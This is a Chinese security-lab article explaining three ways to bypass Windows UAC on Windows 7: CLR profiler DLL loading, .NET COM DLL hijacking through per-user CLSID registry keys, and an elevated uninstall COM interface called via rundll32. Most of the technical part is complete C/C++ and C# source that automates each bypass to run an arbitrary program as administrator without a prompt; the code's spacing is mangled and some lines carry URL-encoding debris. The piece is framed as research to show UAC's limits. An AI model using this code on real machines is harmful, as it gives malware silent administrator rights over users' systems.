白名单绕过UAC方法原理介绍

前言
UAC(User AccountControl)是从Windows Vista开始出现的安全技术,它通过限制应用程序的执行权限来达到提升操作系统安全性的目的。在开启UAC的前提下,即使用户使用的是管

前言

UAC(User AccountControl)是从Windows Vista开始出现的安全技术,它通过限制应用程序的执行权限来达到提升操作系统安全性的目的。在开启UAC的前提下,即使用户使用的是管理员账户登录,默认也只能获取标准权限,当用户某些动作可能会影响系统的安全及稳定性时,UAC便会弹出提示框请求管理员权限,提醒用户该操作属于敏感操作。然而UAC并不是万能的,否则病毒、木马就不会肆意传播感染了,它们经常利用一些UAC技术上的“漏洞”来实现绕过UAC提示,达到悄悄提权的目的。

一、概述

对此,天融信阿尔法实验室研究员针对UAC绕过的方法进行了研究和整理,网上有很多关于UAC绕过的技术讨论,hfiref0x在github上整理了各种UAC绕过技术的实现:https://github.com/hfiref0x/UACME,到目前为止,其整理的技术共有48种,还未修复的有17种。

其中大多都是利用白名单程序绕过UAC。网上也有这方便介绍的帖子,像:

COM接口利用的:http://www.freebuf.com/articles/system/116611.html

.NET程序绕过: https://offsec.provadys.com/UAC-bypass-dotnet.html

他们介绍了白名单程序的利用方式,有一定技术功底的可以明白其原理并做到按图索骥的利用,但基础不好的可能要多做几次实验。本文可以看作是上述利用方式的实验记录,详细介绍了几种白名单程序绕过UAC利用的原理、记录其手工实现过程和自动化实现方法。掌握这些,就相当于掌握了”心法”,”招式”就可以随意使用了。

测试环境:

Win7 旗舰版 x32 7601

工具:

Procmon、WinDbg、IDA、VS2015

源码:

https://github.com/alphaSeclab/bypass-uac

二、CLR加载任意DLL

在所有的提权请求中,有一些程序的提权请求不会触发UAC弹框提示,而是默认允许提权执行,我们称这些程序为微软的白名单程序,这些程序是哪些呢?

控制面板中的管理程序绝大部分都是默认提权运行的,而这些程序中有些并不是可执行文件,而是类似mmc程序的插件文件,找到这些程序的原始位置,发现它们都是以msc为后缀的文件:

双击任一msc文件,通过Procmon监控发现最终运行的都是mmc.exe文件

在这些msc中,其中有些执行时需要依赖CLR支持,像事件查看器、任务计划程序等。CLR是什么呢?CLR(Common Language Runtime),是微软为他们的.NET的虚拟机所选用的名称,.NET程序的运行依赖CLR的支持,就像JAVA的虚拟机。

而CLR有一个Profiling机制(https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview)。

简单来说,就是我们提供一个DLL,当任何高权限的.NET运行时,CLR会主动加载该DLL和运行的程序交互,程序的运行情况都会发送给该DLL,类似于OD调试程序。所以当这些默认提权的管理程序运行时就会被CLR加载我们的提供的DLL,在该DLL中创建的进程、执行的行为也是高权限的行为,从而达到绕过UAC的目的。

那么CLR如何知道怎么加载哪个DLL呢?微软官方文档有介绍: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment。

2.1 添加环境变量

首先,我们添加以下环境变量:

COR_ENABLE_PROFILING = 1

COR_PROFILER={CLSIDor ProgID}

CLR会先检查环境变量中COR_ENABLE_PROFILING是否为1,若检查通过,则根据.NET版本不同,查找DLL位置的方法也不同,对于低于4.0的则去注册表中查找CLSID或ProgID项,找到其指定的dll文件路径。从.NET4.0版本开始则先查找环境变量COR_PROFILER_PATH是否指定dll文件路径,没有再去注册表中查找对应的CLSID项。所以这里我们就不设置COR_PROFILER_PATH了,这样不管是.NET X都让CLR去注册表中找我们的dll。

虽然帮助文档说环境变量COR_PROFILER的值可以是CLSID也可以是任意名称的ProgID,但实际使用时发现只有CLSID测试正常。

添加环境变量的方法即可以通过系统高级设置添加,也可以通过注册表添加:

在用户变量中添加环境变量(操作用户环境变量不需要高权限):

COR_ENABLE_PROFILING=1

COR_PROFILER={12345678-1234-1234-1234-123456789ABC}

这个CLSID是随意取的,只要尽量保证不和已有的CLSID重复即可,如果不放心,可以使用VS自带的GUID生成工具创建一个。

使用注册表添加:

2.2 注册CLSID

然后我们就可以去注册表中注册我们的CLSID,并设置DLL路径了

找到HKEY_CURRENT_USER\Software\Classes\CLSID项,分别添加以下新项:

{11111111-1111-1111-1111-111111111111}和InprocServer32

设置项InprocServer32的默认值为指定dll路径:

到此,手工实验成功,成功获取管理员权限且没有UAC弹框。且所有高权限的.NET程序运行时都会加载我们的dll。但这里提权时会影响此后其他.NET程序的正常使用,下面我们把这些步骤自动化,并实现给指定程序提权,且不影响.NET程序的正常使用。

2.3 自动化实现

exe程序:

intmain(intargc,char*argv[]) { HKEYhKeyExe=NULL; HKEYhEnv=NULL; HKEYhCLSID=NULL; // 1、 注册提权exe地址,dll文件读取该地址执行 if(argc< 2) { printf("请指定提权exe文件路径!\n"); return0; } // 1.1将需要提权的文件路径注册到HKCU\Software\MyExe下 intnLen=strlen(argv[1]); TCHARszExePath[MAX_PATH] = {}; MultiByteToWideChar(CP_ACP,NULL,argv[1],nLen,szExePath,MAX_PATH); TCHARszKeyName[MAX_PATH]={L"Software\\MyExe"}; longlResult=RegCreateKeyEx(HKEY_CURRENT_USER, szKeyName, 0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_32KEY,NULL, &hKeyExe,NULL); if(lResult!=ERROR_SUCCESS) return0; RegSetValueEx(hKeyExe,NULL, 0,REG_SZ, (BYTE*)szExePath,nLen*2); RegCloseKey(hKeyExe); // 2、 添加环境变量 lResult=RegCreateKeyEx(HKEY_CURRENT_USER, L"Environment", 0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_32KEY,NULL, &hEnv,NULL); if(lResult!=ERROR_SUCCESS) return0; RegSetValueEx(hEnv,L"COR_ENABLE_PROFILING", 0,REG_SZ, (BYTE*)L"1", 2); TCHARwcCLSID[] =L"{11111111-1111-1111-1111-111111111111}"; RegSetValueEx(hEnv,L"COR_PROFILER", 0,REG_SZ, (BYTE*)wcCLSID,wcslen(wcCLSID)*2); RegCloseKey(hEnv); // 3、 注册CLSID,指定dll路径 TCHARszCLSID[MAX_PATH] = {L"Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InprocServer32"}; //演示用,DLL路径固定 TCHARszDll[MAX_PATH] = {L"C:\\Temp\\test.dll"}; RegCreateKeyEx(HKEY_CURRENT_USER, szCLSID, 0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_32KEY,NULL, &hCLSID,NULL); RegSetValueEx(hCLSID,NULL, 0,REG_SZ, (BYTE*)szDll,wcslen(szDll)*2); RegCloseKey(hCLSID); // 4、启动msc程序,加载DLL system("mmc.exe gpedit.msc"); // 5、删除注册的CLSID键,防止影响别的.NET程序运行 RegDeleteKeyEx(HKEY_CURRENT_USER,szCLSID,KEY_WOW64_32KEY,NULL); return0; }

dll代码:

BOOLAPIENTRYDllMain(HMODULEhModule, DWORDul_reason_for_call, LPVOIDlpReserved ) { switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: { //读取需要提权的exe路径并执行 HKEYhKeyExe=NULL; TCHARszExePath[MAX_PATH] = {}; TCHARszKeyName[MAX_PATH] = {L"Software\\MyExe"}; longlResult=RegOpenKeyEx(HKEY_CURRENT_USER, szKeyName, 0,KEY_READ|KEY_WOW64_32KEY, &hKeyExe); if(lResult!=ERROR_SUCCESS) ExitProcess(0); DWORDdwSize=MAX_PATH*2; RegQueryValueEx(hKeyExe,NULL, 0,NULL, (BYTE*)szExePath, &dwSize); charcPath[MAX_PATH] = {}; WideCharToMultiByte(CP_ACP,NULL,szExePath,wcslen(szExePath),cPath,MAX_PATH,NULL,NULL); WinExec(cPath,SW_SHOWNORMAL); RegCloseKey(hKeyExe); ExitProcess(0); break; } caseDLL_THREAD_ATTACH: caseDLL_THREAD_DETACH: caseDLL_PROCESS_DETACH: break; } returnTRUE; }

运行效果图:

三、DLL劫持

DLL劫持技术经常被恶意程序利用来执行恶意行为,同样,DLL劫持技术原理也可用于UAC绕过。一般PE文件加载DLL依赖项的时候,加载器会在磁盘目录中直接搜索这些DLL文件,.NET程序则不同,因为.NET版本问题,同样的DLL其.NET版本不同,CLR加载这些DLL时会通过注册表中的CLSID项来确定要加载的dll位置,这就给了我们可乘之机,欺骗CLR让其加载我们指定的DLL。默认提权的管理程序加载我们指定的dll后,在dll内就可以执行提权代码了。

3.1 寻找目标DLL

以任务计划程序taskschd.msc为例,使用微软提供的工具Procmon筛选LoadImage查看其运行时会加载哪些DLL:

上面的红色框内的这种DLL为正常加载的DLL,下面的红色框内带版本的的DLL就是可以被我们利用的DLL。

筛选CLSID相关的注册表操作:

找到注册表项路径中含有类似3.0.0.0这样带版本的,其操作的注册表项就是我们要找的目标。

其中Assmbly的值由dll名称、该DLL的.NET版本、语言及其token组成,观察LoadImage图中的DLL路径就会发现其路径中的值是由Assembly组成。其实CLR搜索注册表项时,DLL路径不仅可以由Assmbly指定,还可以由CodeBase值指定,由于我们不能操作系统目录,所以CodeBase值就对我们很有用了。

Class为加载该DLL时访问的类。我们可以通过该类的静态构造函数来执行目标代码。

InprocServer32下的子键3.0.0.0中的值和InprocServer32值相似:

我们只需要将DLL名和类名指定为我们自己的DLL名和类名,并由“CodeBase“指定DLL路径就可以达到欺骗CLR加载我们自己的DLL的目的。但是注意不要直接操作该注册表项,因为其根键为HKCR,HKCR中的CLSID由HKLM和HKCU下的Software\Classes\CLSID组成,我们假想中的环境是没有操作HKLM的权限的,所以要在HKCU中建立类似的项。

3.2 DLL劫持

在HKEY_CURRENT_USER\Software\Classes\CLSID下添加子键{D5AB5662-131D-453D-88C8-9BBA87502ADE},并将HKEY_CLASSES_ROOT\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}键的值依次拷贝到新建项下。

准备C#编译的DLL,注意.NET版本要和上图中Assembly指定的一致:

DLL中启动CMD然后退出加载DLL的进程(这里指taskschd.msc)

namespace CLSID { public class Class1 { static Class1() { Process.Start("cmd.exe"); Environment.Exit(0); } } }

编译生成后拷贝到C:\Temp\CLSID.dll

将注册表中的InprocServer32和3.0.0.0中的值改为我们的DLL信息,并由CodeBase指定DLL路径:

运行taskschd.msc后成功弹出提权后的cmd命令行:

3.3 自动化实现

下面我们实现其自动化代码,实现提权指定程序,并清理注册表痕迹,不影响mmc程序的正常运行:

EXE代码:

intmain(intargc,char*argv[])
{
HKEYhKeyExe=NULL;
HKEYhKeyCLSIDSrc=NULL;
HKEYhKeyCLSIDDes=NULL;
//%201、%20注册提权exe地址,dll文件读取该地址执行
if(argc<%202)
%20{
printf("请指定提权exe文件路径!\n");
return0;
%20}
//%201.1将需要提权的EXE文件路径注册到HKCU\Software\MyExe下
intnLen=strlen(argv[1]);
TCHARszExePath[MAX_PATH]%20=%20{};
MultiByteToWideChar(CP_ACP,NULL,argv[1],nLen,szExePath,MAX_PATH);
TCHARszKeyName[MAX_PATH]%20=%20{L"Software\\MyExe"};
longlResult=RegCreateKeyEx(HKEY_CURRENT_USER,
szKeyName,%200,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_32KEY,NULL,%20&hKeyExe,NULL);
if(lResult!=ERROR_SUCCESS)
return0;
RegSetValueEx(hKeyExe,NULL,%200,REG_SZ,%20(BYTE*)szExePath,nLen*%202);
RegCloseKey(hKeyExe);
//%202、%20拷贝并修改CLSID,指定dll路径
//%202.1、拷贝
TCHARszCLSIDSrc[MAX_PATH]%20=%20{L"CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}"};
TCHARszCLSIDDes[MAX_PATH]%20=%20{L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}"};

RegOpenKeyEx(HKEY_CLASSES_ROOT,szCLSIDSrc,%200,KEY_READ|KEY_WOW64_32KEY,%20&hKeyCLSIDSrc);
RegCreateKeyEx(HKEY_CURRENT_USER,szCLSIDDes,%200,NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_32KEY,NULL,%20&hKeyCLSIDDes,NULL);

RegCopyTree(hKeyCLSIDSrc,NULL,hKeyCLSIDDes);
RegCloseKey(hKeyCLSIDSrc);
RegCloseKey(hKeyCLSIDDes);
//%202.2、%20修改
TCHAR*szSubKey[]%20=%20{L"\\InprocServer32",L"\\3.0.0.0"};
for(inti=0;i<2;++i)
%20{
wcscat_s(szCLSIDDes,MAX_PATH,szSubKey[i]);
RegOpenKeyEx(HKEY_CURRENT_USER,szCLSIDDes,%200,KEY_SET_VALUE|KEY_WOW64_32KEY,%20&hKeyCLSIDDes);

DWORDcbData=%20(DWORD)((1%20+wcslen(L"CLSID,%20Version=3.0.0.0,%20Culture=neutral"))%20*sizeof(WCHAR));
lResult=RegSetValueEx(hKeyCLSIDDes,L"Assembly",%200,
REG_SZ,%20(BYTE*)L"CLSID,%20Version=3.0.0.0,%20Culture=neutral",cbData);

cbData=%20(DWORD)((1%20+wcslen(L"CLSID.Class1"))%20*sizeof(WCHAR));
lResult=RegSetValueEx(hKeyCLSIDDes,L"Class",%200,
REG_SZ,%20(BYTE*)L"CLSID.Class1",cbData);

cbData=%20(DWORD)((1%20+wcslen(L"file://c://Temp//CLSID.dll"))%20*sizeof(WCHAR));
lResult=RegSetValueEx(hKeyCLSIDDes,L"CodeBase",%200,
REG_SZ,%20(BYTE*)L"file://c://Temp//CLSID.dll",cbData);

RegCloseKey(hKeyCLSIDDes);
%20}
//%203、启动msc程序,加载DLL
system("mmc.exe%20taskschd.msc");
//%204、删除注册的CLSID键,防止影响正常程序运行
RegOpenKeyEx(HKEY_CURRENT_USER,L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}",%200,
DELETE|KEY_ENUMERATE_SUB_KEYS|KEY_QUERY_VALUE|KEY_WOW64_32KEY,%20&hKeyCLSIDDes);
RegDeleteTree(hKeyCLSIDDes,NULL);
RegDeleteKeyEx(HKEY_CURRENT_USER,L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}",KEY_WOW64_32KEY,NULL);
return0;
}

DLL代码(注意.NET版本):

namespaceCLSID { publicclassClass1 %20{ staticClass1() %20{ RegistryKeyKey=Registry.CurrentUser.OpenSubKey("Software\\MyExe",false); stringCustomParam=Key.GetValue("").ToString(); Key.Close(); Process.Start(CustomParam); Environment.Exit(0); %20} %20} }

运行效果,可指定任意exe程序:

四、COM接口绕过UAC

上面两种方法利用的都是mmc.exe程序绕过UAC,其实在%systemroot%下有很多exe程序都是windows系统的白名单程序,像cmd.exe、calc.exe等,但是这些程序和mmc.exe不同,如果在这些程序上右键以管理员权限运行,他们同样会触发UAC弹框提示,那像这样的白名单还有什么用处呢?

4.1 原理介绍

我们卸载程序时,如果直接运行卸载程序,则会触发弹框提示:

但是通过控制面板的卸载程序窗口卸载程序时却不会触发UAC弹框提示,我们利用WinDbg跟踪explorer.exe查看它是如何提权运行卸载程序的:

explorer.exe最终调用的是appwiz模块中的接口实现提权,那么我们是否可以同样调用该接口实现绕过提权呢?用IDA分析appwiz模块查看其函数调用过程:

发现找不到CARPUninstallStringLauncher::LaunchUninstallStringAndWait,该接口未导出(windbg能识别是因为加载了符号文件)。手动加载符号文件(已提供在源码中,版本win7_32_7601):

由windbg调用栈可知,该函数由CInstalledAapp::_CreateAppModifyProcess调用,找到调用返回位置:函数地址偏移+0×244

F5转到伪代码:

像是虚函数的调用,回到CARPUninstallStringLauncher::LaunchUninstallStringAndWait函数,找到其虚函数表:

虚函数表的结构找到了,如果找到获取CARPUninstallStringLauncher实例的方法,就可以直接调用该函数实现提权了。回到调用该函数的地方CInstalledAapp::_CreateAppModifyProcess:

this的获取方法和COM接口调用相同:通过CLSID和IID。上图中,获取PPV的方法有两个,但我们知道CoCreateInstance并不能提权,CoCreateInstanceAsAdminWithCorrectBitness函数名更像是我们需要的函数,查看其函数实现:

这样PPV的获取方法和调用进程的接口都找到后,我们就可以代码实现了。

定义接口变量类型:

structIARPUninstallStringLauncher;
typedefstructIARPUninstallStringLauncherVtbl{
HRESULT(_stdcall*QueryInterface)(
__RPC__inIARPUninstallStringLauncher*This,
__RPC__inREFIIDriid,
_COM_Outptr_void**ppvObject);

ULONG(_stdcall*AddRef)(
__RPC__inIARPUninstallStringLauncher*This);

ULONG(_stdcall*Release)(
__RPC__inIARPUninstallStringLauncher*This);

HRESULT(_stdcall*LaunchUninstallStringAndWait)(
__RPC__inIARPUninstallStringLauncher*This,
_In_HKEYhKey,
_In_LPCOLESTRItem,
_In_BOOLbModify,
_In_HWNDhWnd);

HRESULT(_stdcall*RemoveBrokenItemFromInstalledProgramsList)(
__RPC__inIARPUninstallStringLauncher*This,
_In_HKEYhKey,
_In_LPCOLESTRItem);
}IARPUNINSTALLSTRINGLAUNCHERVTBL, *PIARPUNINSTALLSTRINGLAUNCHERVTBL;

typedefstructIARPUninstallStringLauncher
{
IARPUninstallStringLauncherVtbl*lpVtbl;
}IARPUNINSTALLSTRINGLAUNCHER,*PIARPUNINSTALLSTRINGLAUNCHER;

逻辑代码:

int_tmain(intargc,_TCHAR*argv[])
{
CLSIDclsid;
IIDiid;
HRESULThr;
BIND_OPTS3bo;
WCHARszElevationMoniker[300];
PIARPUNINSTALLSTRINGLAUNCHERppv;
//获取提权com接口
if(IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||
IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))
return0;
CoInitialize(NULL);
hr=StringCchPrintf(szElevationMoniker,sizeof(szElevationMoniker) /sizeof(szElevationMoniker[0]),
L"Elevation:Administrator!new:%s",L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}");
if(FAILED(hr))
return0;
memset(&bo, 0,sizeof(bo));
bo.cbStruct=sizeof(bo);
bo.dwClassContext=CLSCTX_LOCAL_SERVER;
hr=CoGetObject(szElevationMoniker, &bo,iid, (void**)&ppv);
//调用HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\下的test程序
if(SUCCEEDED(hr))
 {
ppv->lpVtbl->LaunchUninstallStringAndWait(ppv, 0,L"test", 0,NULL);
ppv->lpVtbl->Release(ppv);
 }
CoUninitialize();
return0;
}

因为我们是以卸载的方式调用指定程序,代码中调用的是“test”卸载项,所以需要在注册表位置HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall中新建test项:

运行后发现能成功提权,但是有UAC提示框,为什么呢?上面的代码和程序卸载面板的唯一区别就是运行提权的进程不同,卸载时使用的是explorer.exe进程,这时候就体现出explorer.exe这些白名单的特权:不触发UAC弹框提示。

所以,要实现提权操作需要两个东西:COM提权接口和白名单程序。

怎么让白名单程序调用我们上面的函数呢:dll注入或payload注入,但是对于白名单进程注入这种敏感操作会引起主流杀软的拦截提醒,所以一般采用另一种方法:封装成DLL利用rundll32加载该dll,因为rundll32也是白名单程序,COM接口提权不会触发UAC弹框。

4.2 自动化实现

rundll32.exe加载的dll比需有如下原型的导出函数:

voidCALLBACKFunctionName(
HWNDhwnd,
HINSTANCEhinst,
LPTSTRlpCmdLine,
INTnCmdShow
);

当运行“rundll32.exedll名,函数名 命令行参数”,rundll32就会加载该dll,并把命令行参数作为导出函数的第3个参数传递给该函数并调用它,我们只需要将上面的逻辑代码写在该导出函数里,然后调用rundll32即可:

更改后的exe代码:

intmain(intargc,char*argv[])
{
HKEYhKeyExe=NULL;
if(argc< 2)
 {
printf("请指定提权exe文件路径!\n");
return0;
 }
// 1.将需要提权的文件路径注册到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\test下
intnLen=strlen(argv[1]);
TCHARszExePath[MAX_PATH] = {};
MultiByteToWideChar(CP_ACP,NULL,argv[1],nLen,szExePath,MAX_PATH);
TCHARszKeyName[MAX_PATH] = {L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\test"};
longlResult=RegCreateKeyEx(HKEY_CURRENT_USER,
szKeyName, 0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_32KEY,NULL, &hKeyExe,NULL);
if(lResult!=ERROR_SUCCESS)
return0;
RegSetValueEx(hKeyExe,L"DisplayName", 0,REG_SZ, (BYTE*)L"test", 10);
RegSetValueEx(hKeyExe,L"UninstallString", 0,REG_SZ, (BYTE*)szExePath, (nLen+1)*2);
RegCloseKey(hKeyExe);
// 2调用rundll32
system("rundll32.exe com_dll.dll,ElevFunc");
return0;
}

封装的dll代码(将第1次的main函数的代码封装到导出函数即可,注意给导出函数有前后缀,给其取个别名方便调用):

#pragmacomment(linker,"/export:ElevFunc=_ElevFunc@16")
extern"C"_declspec(dllexport)voidCALLBACKElevFunc(
HWNDhwnd,
HINSTANCEhinst,
LPTSTRlpCmdLine,
INTnCmdShow
) {
CLSIDclsid;
IIDiid;
HRESULThr;
BIND_OPTS3bo;
WCHARszElevationMoniker[300];
PIARPUNINSTALLSTRINGLAUNCHERppv;
//获取提权com接口
if(IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||
IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))
return;
CoInitialize(NULL);
hr=StringCchPrintf(szElevationMoniker,sizeof(szElevationMoniker) /sizeof(szElevationMoniker[0]),
L"Elevation:Administrator!new:%s",L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}");
if(FAILED(hr))
return;
memset(&bo, 0,sizeof(bo));
bo.cbStruct=sizeof(bo);
bo.dwClassContext=CLSCTX_LOCAL_SERVER;
hr=CoGetObject(szElevationMoniker, &bo,iid, (void**)&ppv);
//调用HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\下的test程序
if(SUCCEEDED(hr))
 {
ppv->lpVtbl->LaunchUninstallStringAndWait(ppv, 0,L"test", 0,NULL);
ppv->lpVtbl->Release(ppv);
 }
CoUninitialize();
ExitProcess(0);
return;
}

运行效果如下:

五、总结

CLS加载任意dll虽然方便:任意高权限.NET程序都会加载dll执行提权代码,但涉及环境变量的操作是敏感操作,会被主流杀软拦截;DLL劫持相比CLS来说比较“专一”了,只有依赖指定dll的.NET程序才会被劫持加载。而且不会引起主流杀软拦截;COM接口绕过选择度比较高,不想依赖DLL就选择payload注入,但会引起拦截,利用rundll32运行则需要dll依赖,但不会引起拦截,且自由度比CLR和DLL劫持自由度更高,不会影响其他程序的正常运行。

这几种方法只是绕过UAC的多种方法的一部分,但从这也可以看出,UAC并不能提供足够的安全防护,所以不要过于信赖UAC,养成良好的安全意识和操作习惯更重要。

六、参考资料

https://github.com/hfiref0x/UACME

https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/

https://offsec.provadys.com/UAC-bypass-dotnet.html

http://www.freebuf.com/articles/system/116611.html

*本文作者:alphalab,转载请注明来自FreeBuf.COM

相关推荐

留言与评论(共有 0 条评论)
   
验证码: